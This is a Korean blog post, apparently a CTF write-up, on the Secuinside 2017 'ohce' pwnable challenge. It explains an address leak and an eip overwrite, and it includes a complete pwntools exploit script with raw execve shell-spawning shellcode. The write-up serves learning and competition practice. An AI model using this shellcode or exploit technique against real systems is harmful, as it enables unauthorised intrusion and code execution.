ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • Secuinside 2017 ohce
    Pwnable/CTF 2017. 7. 3. 00:28

    syscall을 이용한 포너블문제들은 제대로 풀어본적이없어서 엄청나게 어려웟다 ㅠㅠㅠㅠ






    WRITE함수를 syscall을 이용하여 출력을 시킨다.



    read함수도 마찬가지




    시작 메뉴는 이렇다.

    1을 입력하면내가 누른 입력값 그대로 나오고, 2를 입력하면 거꾸로나온다.




    이 문제에서 신기한점은 특정한 개수의 값을 입력하면 주소가 릭이된다. (96개를 입력했다 96말고 다른 개수로 넣어도 릭되는 숫자들이있음)


    특정한 글자수를 맞춰서 Reverse를 잘 입력하면 맨 앞에 넣은 글자로 ebp가 변한다. (즉, eip도 변한다는 뜻)

    그건 알겠는데 처음 echo를 했을때 "sfp-0x30"을 넣는 부분으로 eip가 바뀌는게 왜 저렇게되는건지 gdb로 디버깅을 해도 잘 모르겠다.. 

    그냥 대충 문제상에서 저런거구나 생각하고 이해를하고 넘어갔다.


    그 Core가 뜨게되면서 ebp가 변조되는 그 길이에 맞추고 릭을 한 스택주소 값을 계산하면서 그곳으로 eip를 변조시키면 풀리는문제였다.


    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    from pwn import *
     
    p=process("./ohce")
    #p=remote("13.124.134.94",8888)
    print p.recvuntil('> ')
    shell ="\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
    print len(shell)
    def echo(data):
        p.sendline("1")
        p.sendline(data)
     
    def Reverse(data):
        p.sendline("2")
        p.sendline(data)
        #print p.recvuntil('> ')
     
    def Leak():
        global sfp
        payload="A"*95 #95
        print "MY INPUT DATA !!!!!!!!!!!!!!!!"
        echo(payload)
        p.recvuntil('A'*95+'\n')
        sfp=u64(p.recv(6)+'\00\00')
        print p.recv(1024)
        return sfp
     
     
     
    sfp=Leak()
    print hex(sfp)
    SFP_2 = sfp - 0x140 #sfp-0x30 address +8
     
    #raw_input('$ ')
    payload="A"*56
    payload+=p64(sfp-0x30#last data address
    payload+="A"*0x100
    echo(payload)
    raw_input('$ ')             
    Reverse(p64(SFP_2)[0:6][::-1]+"ABCDE"+shell[::-1]+"\x90"*25)
    raw_input('$ ')

    p.interactive()
     
    cs


    릭하고 다른 여러가지 잡 분석들은 다 혼자했는데 다른 마지막 공격부분, echo 중간 부분에 eip가 변조되는 그 부분을 몰라서 대회당시에는 풀지못했다.

    syscall나오는 문제를 좀 많이 풀어야겠다.

    'Pwnable > CTF' 카테고리의 다른 글

    HITCON 2016 SleepyHolder  (0) 2017.07.13
    HITCON 2016 SecretHolder  (0) 2017.07.11
    Codegate 2016 floppy  (0) 2017.06.10
    DEFCON 2017 smashme  (0) 2017.05.02
    BKPCTF cookbook  (0) 2017.03.31
Designed by Tistory.